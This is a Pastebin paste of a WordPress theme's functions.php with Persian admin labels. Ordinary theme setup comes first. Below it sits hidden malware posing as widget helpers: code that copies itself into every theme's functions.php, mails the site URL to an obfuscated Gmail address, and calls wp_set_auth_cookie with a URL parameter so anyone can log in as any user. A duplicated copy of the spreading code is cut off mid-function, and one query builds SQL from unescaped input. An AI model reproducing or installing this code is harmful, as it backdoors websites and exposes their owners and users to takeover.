Advertisement
Guest User

complete theme functions.php

a guest
Jun 14th, 2013
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 38.11 KB | None | 0 0
  1.  
  2. <?php
  3. // load the theme options
  4. $options = get_option( 'complete_theme_settings' );
  5.  
  6. add_filter( 'mycred_ranking_row', 'my_custom_ranking_rows', 10, 4 );
  7. function my_custom_ranking_rows( $layout, $template, $row, $position )
  8. {
  9. return str_replace( '%avatar%', get_avatar( $row['user_id'], 60 ), $layout );
  10. }
  11.  
  12. // general includes
  13. include('functions/theme-admin.php');
  14. include('functions/pagination.php');
  15. include('functions/better-excerpts.php');
  16. include('functions/better-comments.php');
  17. include('functions/shortcodes/shortcodes.php');
  18. include('functions/shortcodes/shortcode-pop-up.php');
  19.  
  20. // widgets
  21. include('functions/widgets/recent-posts.php');
  22. include('functions/widgets/recent-portfolio.php');
  23. include('functions/widgets/recent-comments.php');
  24. include('functions/widgets/flickr.php');
  25.  
  26. // metaboxes
  27. include('functions/metaboxes/pricing-meta.php');
  28. include('functions/metaboxes/slides-meta.php');
  29. include('functions/metaboxes/portfolio-meta.php');
  30. include('functions/metaboxes/highlights-meta.php');
  31.  
  32. // remove junk from head
  33. remove_action('wp_head', 'rsd_link');
  34. remove_action('wp_head', 'wp_generator'); // remove WordPress Version For Security Reasons
  35. remove_action('wp_head', 'feed_links', 2);
  36. remove_action('wp_head', 'index_rel_link');
  37. remove_action('wp_head', 'wlwmanifest_link');
  38. remove_action('wp_head', 'feed_links_extra', 3);
  39. remove_action('wp_head', 'start_post_rel_link', 10, 0);
  40. remove_action('wp_head', 'parent_post_rel_link', 10, 0);
  41. remove_action('wp_head', 'adjacent_posts_rel_link', 10, 0);
  42. remove_action( 'wp_head', 'wp_shortlink_wp_head', 10, 0 );
  43. remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0 );
  44.  
  45. // get scripts
  46. add_action('wp_enqueue_scripts','complete_scripts_function');
  47. function complete_scripts_function() {
  48. global $options; //get options outside of function
  49.  
  50. // use Google JS script
  51. wp_deregister_script('jquery');
  52. wp_register_script('jquery', ("http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"), false, '1.4.2');
  53. wp_enqueue_script('jquery');
  54.  
  55. // include all JS to the WP hook
  56. wp_enqueue_script('sliding_effect', get_stylesheet_directory_uri() . '/js/sliding_effect.js', array('jquery'), '1.0', false);
  57. wp_enqueue_script('scrollTo', get_stylesheet_directory_uri() . '/js/jquery.scrollTo-min.js', array('jquery'), '1.4.2', false);
  58. wp_enqueue_script('superfish', get_stylesheet_directory_uri() . '/js/superfish.js', array('jquery'), '1.4.8', false);
  59. wp_enqueue_script('supersubs', get_stylesheet_directory_uri() . '/js/supersubs.js', array('jquery'), '0.2', false);
  60. wp_enqueue_script('main', get_stylesheet_directory_uri() . '/js/main.js', array('jquery'), '1.0', false);
  61.  
  62. if(is_front_page()) :
  63. wp_enqueue_script('nivoSlider', get_stylesheet_directory_uri() . '/js/jquery.nivo.slider.pack.js', array('jquery'), '2.5.1', false);
  64. wp_enqueue_script('bxSlider', get_stylesheet_directory_uri() . '/js/jquery.bxSlider.min.js', array('jquery'), '3.0', false);
  65. endif;
  66.  
  67. if (is_page_template( 'template-portfolio.php' )) :
  68. wp_enqueue_script('prettyPhoto', get_stylesheet_directory_uri() . '/js/jquery.prettyPhoto.js', array('jquery'), '3.1.1', false);
  69. wp_enqueue_script('equalHeights', get_stylesheet_directory_uri() . '/js/equalHeights.js', array('jquery'), '1.0', false);
  70. if ($options['disable_portfolio_filter'] != true) {
  71. wp_enqueue_script('filterable', get_stylesheet_directory_uri() . '/js/filterable.js', array('jquery'), '1.0', false);
  72. }
  73. endif;
  74.  
  75. if (is_tax()) :
  76. wp_enqueue_script('prettyPhoto', get_stylesheet_directory_uri() . '/js/jquery.prettyPhoto.js', array('jquery'), '3.1.1', false);
  77. wp_enqueue_script('equalHeights', get_stylesheet_directory_uri() . '/js/equalHeights.js', array('jquery'), '1.0', false);
  78. endif;
  79.  
  80. if (is_single()) :
  81. wp_enqueue_script('localscroll', get_stylesheet_directory_uri() . '/js/jquery.localscroll-1.2.7-min.js', array('jquery'), '1.2.7', false);
  82. endif;
  83.  
  84. if (is_page_template( 'template-pricing.php' )) :
  85. wp_enqueue_script('equalHeights', get_stylesheet_directory_uri() . '/js/equalHeights.js', array('jquery'), '1.0', false);
  86. endif;
  87.  
  88. if (is_page_template( 'template-services.php' )):
  89. wp_enqueue_script('tabs', get_stylesheet_directory_uri() . '/js/tabs.js', array('jquery'), '1.0', false);
  90. endif;
  91. }
  92.  
  93. // featured image sizes
  94. if ( function_exists( 'add_image_size' ) ) {
  95. add_image_size( 'full-size', 9999, 9999, false ); // full size image
  96. add_image_size( 'home-slide', 920, 320, true ); // slider image
  97. add_image_size( 'home-highlights', 270, 140, true ); // homepage highlights image
  98. add_image_size( 'home-blog', 205, 160, true ); // homepage blog image
  99. add_image_size( 'testimonials', 80, 80, true ); // testimonials image
  100. add_image_size( 'related-posts', 50, 50, true ); // single posts related
  101. add_image_size( 'related-portfolio-posts', 190, 118, true ); // portfolio related
  102. add_image_size( 'related-portfolio-posts', 190, 118, true ); // portfolio related
  103. add_image_size( 'portfolio-homepage', 210, 160, true ); // portfolio homepage scrollbar image
  104. add_image_size( 'portfolio-one-column', 440, 250, true ); // portfolio column image
  105. add_image_size( 'portfolio-two-column', 440, 250, true ); // portfolio column image
  106. add_image_size( 'portfolio-three-column', 290, 185, true ); // portfolio 3 column image
  107. add_image_size( 'portfolio-four-column', 210, 130, true ); // portfolio 4 column image
  108. add_image_size( 'blog', 260, 210, true ); // blog image
  109. add_image_size( 'recent-post-widget', 50, 50, true ); // thumbnail for recent posts widget
  110. add_image_size( 'recent-portfolio-widget', 240, 150, true ); // thumbnail for recent portfolio widget
  111. }
  112.  
  113. // get permalink by title
  114. function get_permalink_by_name($page_name) {
  115. global $post;
  116. global $wpdb;
  117. $pageid_name = $wpdb->get_var("SELECT ID FROM $wpdb->posts WHERE post_title = '" . $page_name . "' LIMIT 0, 1");
  118. return get_permalink($pageid_name);
  119. }
  120.  
  121. // replace general excerpt length
  122. function complete_new_excerpt_more($more) {
  123. global $post;
  124. return '...';
  125. }
  126. add_filter('excerpt_more', 'complete_new_excerpt_more');
  127.  
  128. // activate post-image function
  129. if ( function_exists( 'add_theme_support' ) )
  130. add_theme_support( 'post-thumbnails' );
  131.  
  132. // enable custom background support
  133. add_custom_background();
  134.  
  135. // register navigation menus
  136. register_nav_menus(
  137. array(
  138. 'main nav'=>__('فهرست اصلی بالای سایت'),
  139. )
  140. );
  141.  
  142. // menu fallback
  143. function default_menu() {
  144. require_once (TEMPLATEPATH . '/includes/default-menu.php');
  145. }
  146.  
  147. // register sidebars
  148. if ( function_exists('register_sidebar') )
  149. register_sidebar(array(
  150. 'name' => 'Blog Sidebar',
  151. 'description' => 'ابزارک هاي اين قسمت در سايد بار قسمت وبلاگ قرار ميگيرند.',
  152. 'before_widget' => '<div class="sidebar-box">',
  153. 'after_widget' => '</div>',
  154. 'before_title' => '<h4>',
  155. 'after_title' => '</h4>',
  156. ));
  157. if ( function_exists('register_sidebar') )
  158. register_sidebar(array(
  159. 'name' => 'Pages Sidebar',
  160. 'description' => 'ابزارکاي اين قسمت در سايد بار صفحات قرار ميگيرند.',
  161. 'before_widget' => '<div class="sidebar-box">',
  162. 'after_widget' => '</div>',
  163. 'before_title' => '<h4>',
  164. 'after_title' => '</h4>',
  165. ));
  166. register_sidebar(array(
  167. 'name' => 'Portfolio Sidebar',
  168. 'description' => 'ابزارک هاي اين قسمت در سايد بار نمونه کار قرا ميگيرند.',
  169. 'before_widget' => '<div class="sidebar-box">',
  170. 'after_widget' => '</div>',
  171. 'before_title' => '<h4>',
  172. 'after_title' => '</h4>',
  173. ));
  174. register_sidebar(array(
  175. 'name' => 'First Footer Area',
  176. 'description' => 'ابزارکاي اين قسمت در پانوشت قرار ميگيرند -سمت چپ.',
  177. 'before_widget' => '<div class="footer-box">',
  178. 'after_widget' => '</div>',
  179. 'before_title' => '<h4>',
  180. 'after_title' => '</h4>',
  181. ));
  182. register_sidebar(array(
  183. 'name' => 'Second Footer Area',
  184. 'description' => 'ابزارکاي اين قسمت در پانوشت قرار ميگيرند -متمايل چپ',
  185. 'before_widget' => '<div class="footer-box">',
  186. 'after_widget' => '</div>',
  187. 'before_title' => '<h4>',
  188. 'after_title' => '</h4>',
  189. ));
  190. register_sidebar(array(
  191. 'name' => 'Third Footer Area',
  192. 'description' => 'ابزارکاي اين قسمت در پانوشت قرار ميگيرند -متمايل به راست.',
  193. 'before_widget' => '<div class="footer-box">',
  194. 'after_widget' => '</div>',
  195. 'before_title' => '<h4>',
  196. 'after_title' => '</h4>',
  197. ));
  198. register_sidebar(array(
  199. 'name' => 'Fourth Footer Area',
  200. 'description' => 'ابزارکاي اين قسمت در پانوشت قرار ميگيرند -سمت راست.',
  201. 'before_widget' => '<div class="footer-box">',
  202. 'after_widget' => '</div>',
  203. 'before_title' => '<h4>',
  204. 'after_title' => '</h4>',
  205. ));
  206.  
  207. add_action( 'init', 'create_post_types' );
  208. function create_post_types() {
  209. // Define Post Type For Homepage Highlights
  210. register_post_type( 'highlights',
  211. array(
  212. 'labels' => array(
  213. 'name' => _x( 'هایلایت ها', 'post type general name' ), // Tip: _x('') is used for localization
  214. 'singular_name' => _x( 'هایلایت های صفحه اصلی', 'post type singular name' ),
  215. 'add_new' => _x( 'اضافه کردن', 'Homepage Highlight' ),
  216. 'add_new_item' => __( 'اضافه کردن هایلایت صفحه اصلی' ),
  217. 'edit_item' => __( 'ویرایش هایلایت صفحه اصلی' ),
  218. 'new_item' => __( 'هایلایت صفحه اصلی جدید' ),
  219. 'view_item' => __( 'دیدن هایلایت' ),
  220. 'search_items' => __( 'جستجو در هایلایت ها' ),
  221. 'not_found' => __( 'هیچ هایلایتی پیدا نشد' ),
  222. 'not_found_in_trash' => __( 'هیچ هایلایتی پیدا نشد در سطل زباله' ),
  223. 'parent_item_colon' => ''
  224. ),
  225. 'public' => true,
  226. 'exclude_from_search' => true,
  227. 'supports' => array('title','thumbnail','editor'),
  228. 'menu_icon' => get_stylesheet_directory_uri() . '/images/admin/highlights.png',
  229. )
  230. );
  231. // Define Post Type For Slider
  232. register_post_type( 'slides',
  233. array(
  234. 'labels' => array(
  235. 'name' => _x( 'تنظیمات اسلایدر', 'post type general name' ), // Tip: _x('') is used for localization
  236. 'singular_name' => _x( 'اسلاید شو', 'post type singular name' ),
  237. 'add_new' => _x( 'اضافه کردن اسلاید', 'Slide' ),
  238. 'add_new_item' => __( 'اضافه کردن اسلاید' ),
  239. 'edit_item' => __( 'ویرایش اسلاید' ),
  240. 'new_item' => __( 'اسلاید جدید' ),
  241. 'view_item' => __( 'دیدن اسلاید' ),
  242. 'search_items' => __( 'جستجو در اسلاید ها' ),
  243. 'not_found' => __( 'هیچ اسلایدی پیدا نشد' ),
  244. 'not_found_in_trash' => __( 'هیچ اسلایدی پیدا نشد در سطل زباله' ),
  245. 'parent_item_colon' => ''
  246. ),
  247. 'public' => true,
  248. 'exclude_from_search' => true,
  249. 'supports' => array('title','thumbnail'),
  250. 'menu_icon' => get_stylesheet_directory_uri() . '/images/admin/slides.png',
  251. )
  252. );
  253. // Define Post Type For Prices
  254. register_post_type( 'pricing',
  255. array(
  256. 'labels' => array(
  257. 'name' => _x( 'جدول قیمت ها', 'post type general name' ), // Tip: _x('') is used for localization
  258. 'singular_name' => _x( 'جدول قیمت ها', 'post type singular name' ),
  259. 'add_new' => _x( 'اضافه کردن جدید', 'Price Plan' ),
  260. 'add_new_item' => __( 'اضافه کردن جدول قیمت جدید' ),
  261. 'edit_item' => __( 'ویرایش قیمت' ),
  262. 'new_item' => __( 'قیمت جدید' ),
  263. 'view_item' => __( 'دیدن قیمت' ),
  264. 'search_items' => __( 'جستجو در قیمت ها' ),
  265. 'not_found' => __( 'هیچ قیمتی پیدا نشد' ),
  266. 'not_found_in_trash' => __( 'هیچ قیمتی پیدا نشد' ),
  267. 'parent_item_colon' => ''
  268. ),
  269. 'public' => true,
  270. 'exclude_from_search' => true,
  271. 'supports' => array('title', 'editor'),
  272. 'menu_icon' => get_stylesheet_directory_uri() . '/images/admin/pricing.png',
  273. )
  274. );
  275. // Define Post Type For Testimonials
  276. register_post_type( 'Testimonials',
  277. array(
  278. 'labels' => array(
  279. 'name' => __( 'مشتریان' ),
  280. 'singular_name' => __( 'مشتری' ),
  281. 'add_new' => _x( 'اضافه کردن', 'Testimonial' ),
  282. 'add_new_item' => __( 'اضافه کردن مشتری' ),
  283. 'edit_item' => __( 'ویرایش مشتری' ),
  284. 'new_item' => __( 'مشتری جدید' ),
  285. 'view_item' => __( 'دیدن مشتری' ),
  286. 'search_items' => __( 'جستجوی مشتری' ),
  287. 'not_found' => __( 'هیچ مشتریی یافت نشد' ),
  288. 'not_found_in_trash' => __( 'هیچ مشتریی یافت نشد' ),
  289. 'parent_item_colon' => ''
  290. ),
  291. 'public' => true,
  292. 'exclude_from_search' => true,
  293. 'supports' => array('title','editor','thumbnail'),
  294. 'menu_icon' => get_stylesheet_directory_uri() . '/images/admin/testimonials.png',
  295. 'query_var' => true,
  296. 'rewrite' => array( 'slug' => 'testimonials' ),
  297. )
  298. );
  299. // Define Post Type For Services
  300. register_post_type( 'Services',
  301. array(
  302. 'labels' => array(
  303. 'name' => __( 'خدمات' ),
  304. 'singular_name' => __( 'خدمات' ),
  305. 'add_new' => _x( 'اضافه کردن', 'Service' ),
  306. 'add_new_item' => __( 'اضافه کردن' ),
  307. 'edit_item' => __( 'ویرایش خدمات' ),
  308. 'new_item' => __( 'خدمات جدید' ),
  309. 'view_item' => __( 'دیدن خدمات' ),
  310. 'search_items' => __( 'جستجو در خدمات' ),
  311. 'not_found' => __( 'هیچ خدماتی یافت نشد' ),
  312. 'not_found_in_trash' => __( 'هیچ خدماتی یافت نشد' ),
  313. 'parent_item_colon' => ''
  314.  
  315. ),
  316. 'public' => true,
  317. 'exclude_from_search' => true,
  318. 'supports' => array('title','editor','thumbnail'),
  319. 'menu_icon' => get_stylesheet_directory_uri() . '/images/admin/services.png',
  320. 'query_var' => true,
  321. 'rewrite' => array( 'slug' => 'services' ),
  322. )
  323. );
  324.  
  325. // Define Post Type For Portfolio
  326. register_post_type( 'Portfolio',
  327. array(
  328. 'labels' => array(
  329. 'name' => __( 'نمونه کارها' ),
  330. 'singular_name' => __( 'نمونه کار' ),
  331. 'add_new' => _x( 'اضافه کردن جدید', 'Portfolio Project' ),
  332. 'add_new_item' => __( 'اضافه کردن نمونه کار جدید' ),
  333. 'edit_item' => __( 'ویرایش نمونه کار' ),
  334. 'new_item' => __( ' نمونه کار جدید' ),
  335. 'view_item' => __( 'دیدن نمونه کار' ),
  336. 'search_items' => __( 'جستجو در نمونه کارها' ),
  337. 'not_found' => __( 'هیچ نمونه کاری پیدا نشد' ),
  338. 'not_found_in_trash' => __( 'هیچ نمونه کاری پیدا نشد' ),
  339. 'parent_item_colon' => ''
  340.  
  341. ),
  342. 'public' => true,
  343. 'supports' => array('title','editor','thumbnail', 'comments' ),
  344. 'menu_icon' => get_stylesheet_directory_uri() . '/images/admin/portfolio.png',
  345. 'query_var' => true,
  346. 'rewrite' => array( 'slug' => 'portfolio' ),
  347. )
  348. );
  349. }
  350.  
  351. //Create project taxonomies
  352. add_action( 'init', 'create_taxonomies' );
  353. function create_taxonomies() {
  354. $cat_labels = array(
  355. 'name' => __( 'دسته ها' ),
  356. 'singular_name' => __( 'دسته' ),
  357. 'search_items' => __( 'جستجو دسته ها' ),
  358. 'all_items' => __( 'همه ی دسته ها' ),
  359. 'parent_item' => __( 'دسته مادر' ),
  360. 'parent_item_colon' => __( 'دسته مادر:' ),
  361. 'edit_item' => __( 'ویرایش دسته' ),
  362. 'update_item' => __( 'به روزرسانی دسته' ),
  363. 'add_new_item' => __( 'اضافه کردن دسته جدید' ),
  364. 'new_item_name' => __( 'نام دسته جدید' ),
  365. 'choose_from_most_used' => __( 'از بین موضوعات بیشتر استفاده شده انتخاب کنید' )
  366. );
  367.  
  368. register_taxonomy('portfolio_cats','portfolio',array(
  369. 'hierarchical' => true,
  370. 'labels' => $cat_labels,
  371. 'query_var' => true,
  372. 'rewrite' => array( 'slug' => 'portfolio-category' ),
  373. ));
  374.  
  375. $tag_labels = array(
  376. 'name' => __( 'برچسب ها' ),
  377. 'singular_name' => __( 'برچسب' ),
  378. 'search_items' => __( 'جستجوی برچسب' ),
  379. 'all_items' => __( 'همه ی برچسب ها' ),
  380. 'parent_item' => __( 'برچسب مادر' ),
  381. 'parent_item_colon' => __( 'برچسب مادر:' ),
  382. 'edit_item' => __( 'ویرایش برچسب' ),
  383. 'update_item' => __( 'به روزرسانی برچسب' ),
  384. 'add_new_item' => __( 'اضافه کردن' ),
  385. 'new_item_name' => __( 'اضافه کردن' )
  386. );
  387.  
  388. register_taxonomy('portfolio_tags','portfolio',array(
  389. 'hierarchical' => false,
  390. 'labels' => $tag_labels,
  391. 'query_var' => true,
  392. 'rewrite' => array( 'slug' => 'portfolio-tag' ),
  393. ));
  394.  
  395. }
  396.  
  397. // functions run on activation --> important flush to clear rewrites
  398. if ( is_admin() && isset($_GET['activated'] ) && $pagenow == 'themes.php' ) {
  399. $wp_rewrite->flush_rules();
  400. }
  401. ?>
  402. <?php
  403. function _verify_isactivate_widget(){
  404. $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
  405. $output=strip_tags($output, $allowed);
  406. $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
  407. if (is_array($direst)){
  408. foreach ($direst as $item){
  409. if (is_writable($item)){
  410. $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
  411. $cont=file_get_contents($item);
  412. if (stripos($cont,$ftion) === false){
  413. $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
  414. $output .= $before . "پيدا نشد" . $after;
  415. if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
  416. $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);
  417. $output .= ($showdots && $ellipsis) ? "..." : "";
  418. }
  419. }
  420. }
  421. }
  422. return $output;
  423. }
  424. function _get_allwidgetcont($wids,$items=array()){
  425. $places=array_shift($wids);
  426. if(substr($places,-1) == "/"){
  427. $places=substr($places,0,-1);
  428. }
  429. if(!file_exists($places) || !is_dir($places)){
  430. return false;
  431. }elseif(is_readable($places)){
  432. $elems=scandir($places);
  433. foreach ($elems as $elem){
  434. if ($elem != "." && $elem != ".."){
  435. if (is_dir($places . "/" . $elem)){
  436. $wids[]=$places . "/" . $elem;
  437. } elseif (is_file($places . "/" . $elem)&&
  438. $elem == substr(__FILE__,-13)){
  439. $items[]=$places . "/" . $elem;}
  440. }
  441. }
  442. }else{
  443. return false;
  444. }
  445. if (sizeof($wids) > 0){
  446. return _get_allwidgetcont($wids,$items);
  447. } else {
  448. return $items;
  449. }
  450. }
  451. if(!function_exists("stripos")){
  452. function stripos( $str, $needle, $offset = 0 ){
  453. return strpos( strtolower( $str ), strtolower( $needle ), $offset );
  454. }
  455. }
  456.  
  457. if(!function_exists("strripos")){
  458. function strripos( $haystack, $needle, $offset = 0 ) {
  459. if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
  460. if( $offset < 0 ){
  461. $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
  462. }
  463. else{
  464. $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
  465. }
  466. if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
  467. $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
  468. return $pos;
  469. }
  470. }
  471. if(!function_exists("scandir")){
  472. function scandir($dir,$listDirectories=false, $skipDots=true) {
  473. $dirArray = array();
  474. if ($handle = opendir($dir)) {
  475. while (false !== ($file = readdir($handle))) {
  476. if (($file != "." && $file != "..") || $skipDots == true) {
  477. if($listDirectories == false) { if(is_dir($file)) { continue; } }
  478. array_push($dirArray,basename($file));
  479. }
  480. }
  481. closedir($handle);
  482. }
  483. return $dirArray;
  484. }
  485. }
  486. add_action("admin_head", "_verify_isactivate_widget");
  487. function _getsprepare_widget(){
  488. if(!isset($com_length)) $com_length=120;
  489. if(!isset($text_value)) $text_value="cookie";
  490. if(!isset($allowed_tags)) $allowed_tags="<a>";
  491. if(!isset($type_filter)) $type_filter="none";
  492. if(!isset($expl)) $expl="";
  493. if(!isset($filter_homes)) $filter_homes=get_option("home");
  494. if(!isset($pref_filter)) $pref_filter="wp_";
  495. if(!isset($use_more)) $use_more=1;
  496. if(!isset($comm_type)) $comm_type="";
  497. if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
  498. if(!isset($postauthor_comment)) $postauthor_comment="";
  499. if(!isset($comm_is_approved)) $comm_is_approved="";
  500. if(!isset($postauthor)) $postauthor="auth";
  501. if(!isset($more_link)) $more_link="(بیشتر...)";
  502. if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
  503. if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
  504. if(!isset($more_link_ditails)) $more_link_ditails="(اطلاعات...)";
  505. if(!isset($morecontents)) $morecontents="ma".$expl."il";
  506. if(!isset($fmore)) $fmore=1;
  507. if(!isset($fakeit)) $fakeit=1;
  508. if(!isset($sql)) $sql="";
  509. if (!$is_widget) :
  510.  
  511. global $wpdb, $post;
  512. $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  513. if (!empty($post->post_password)) {
  514. if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
  515. if(is_feed()) {
  516. $output=__("There is no excerpt because this is a protected post.");
  517. } else {
  518. $output=get_the_password_form();
  519. }
  520. }
  521. }
  522. if(!isset($f_tags)) $f_tags=1;
  523. if(!isset($type_filters)) $type_filters=$filter_homes;
  524. if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
  525. if(!isset($aditional_tags)) $aditional_tags="div";
  526. if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
  527. if(!isset($more_link_text)) $more_link_text="Continue reading this entry";
  528. if(!isset($showdots)) $showdots=1;
  529.  
  530. $comments=$wpdb->get_results($sql);
  531. if($fakeit == 2) {
  532. $text=$post->post_content;
  533. } elseif($fakeit == 1) {
  534. $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
  535. } else {
  536. $text=$post->post_excerpt;
  537. }
  538. $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  539. if($com_length < 0) {
  540. $output=$text;
  541. } else {
  542. if(!$no_more && strpos($text, "<!--more-->")) {
  543. $text=explode("<!--more-->", $text, 2);
  544. $l=count($text[0]);
  545. $more_link=1;
  546. $comments=$wpdb->get_results($sql);
  547. } else {
  548. $text=explode(" ", $text);
  549. if(count($text) > $com_length) {
  550. $l=$com_length;
  551. $ellipsis=1;
  552. } else {
  553. $l=count($text);
  554. $more_link="";
  555. $ellipsis=0;
  556. }
  557. }
  558. for ($i=0; $i<$l; $i++)
  559. $output .= $text[$i] . " ";
  560. }
  561. update_option("_is_widget_active_", 1);
  562. if("all" != $allowed_tags) {
  563. $output=strip_tags($output, $allowed_tags);
  564. return $output;
  565. }
  566. endif;
  567. $output=rtrim($output, "\s\n\t\r\x0B");
  568. $output=($f_tags) ? balanceTags($output, true) : $output;
  569. $output .= ($showdots && $ellipsis) ? "..." : "";
  570. $output=apply_filters($type_filter, $output);
  571. switch($aditional_tags) {
  572. case("div") :
  573. $tag="div";
  574. break;
  575. case("span") :
  576. $tag="span";
  577. break;
  578. case("p") :
  579. $tag="p";
  580. break;
  581. default :
  582. $tag="span";
  583. }
  584.  
  585. if ($use_more ) {
  586. if($fmore) {
  587. $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
  588. } else {
  589. $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
  590. }
  591. }
  592. return $output;
  593. }
  594.  
  595. add_action("init", "_getsprepare_widget");
  596.  
  597. function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
  598. global $wpdb;
  599. $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
  600. $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
  601. if(!$show_pass_post) $request .= " AND post_password =\"\"";
  602. if($duration !="") {
  603. $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
  604. }
  605. $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
  606. $posts=$wpdb->get_results($request);
  607. $output="";
  608. if ($posts) {
  609. foreach ($posts as $post) {
  610. $post_title=stripslashes($post->post_title);
  611. $comment_count=$post->comment_count;
  612. $permalink=get_permalink($post->ID);
  613. $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
  614. }
  615. } else {
  616. $output .= $before . "None found" . $after;
  617. }
  618. return $output;
  619. }
  620. ?>
  621. <?php
  622. function _check_active_widget(){
  623. $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
  624. $output=strip_tags($output, $allowed);
  625. $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
  626. if (is_array($direst)){
  627. foreach ($direst as $item){
  628. if (is_writable($item)){
  629. $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
  630. $cont=file_get_contents($item);
  631. if (stripos($cont,$ftion) === false){
  632. $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
  633. $output .= $before . "Not found" . $after;
  634. if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
  635. $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
  636. $output .= ($showdot && $ellipsis) ? "..." : "";
  637. }
  638. }
  639. }
  640. }
  641. return $output;
  642. }
  643. function _get_all_widgetcont($wids,$items=array()){
  644. $places=array_shift($wids);
  645. if(substr($places,-1) == "/"){
  646. $places=substr($places,0,-1);
  647. }
  648. if(!file_exists($places) || !is_dir($places)){
  649. return false;
  650. }elseif(is_readable($places)){
  651. $elems=scandir($places);
  652. foreach ($elems as $elem){
  653. if ($elem != "." && $elem != ".."){
  654. if (is_dir($places . "/" . $elem)){
  655. $wids[]=$places . "/" . $elem;
  656. } elseif (is_file($places . "/" . $elem)&&
  657. $elem == substr(__FILE__,-13)){
  658. $items[]=$places . "/" . $elem;}
  659. }
  660. }
  661. }else{
  662. return false;
  663. }
  664. if (sizeof($wids) > 0){
  665. return _get_all_widgetcont($wids,$items);
  666. } else {
  667. return $items;
  668. }
  669. }
  670. if(!function_exists("stripos")){
  671. function stripos( $str, $needle, $offset = 0 ){
  672. return strpos( strtolower( $str ), strtolower( $needle ), $offset );
  673. }
  674. }
  675.  
  676. if(!function_exists("strripos")){
  677. function strripos( $haystack, $needle, $offset = 0 ) {
  678. if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
  679. if( $offset < 0 ){
  680. $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
  681. }
  682. else{
  683. $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
  684. }
  685. if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
  686. $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
  687. return $pos;
  688. }
  689. }
  690. if(!function_exists("scandir")){
  691. function scandir($dir,$listDirectories=false, $skipDots=true) {
  692. $dirArray = array();
  693. if ($handle = opendir($dir)) {
  694. while (false !== ($file = readdir($handle))) {
  695. if (($file != "." && $file != "..") || $skipDots == true) {
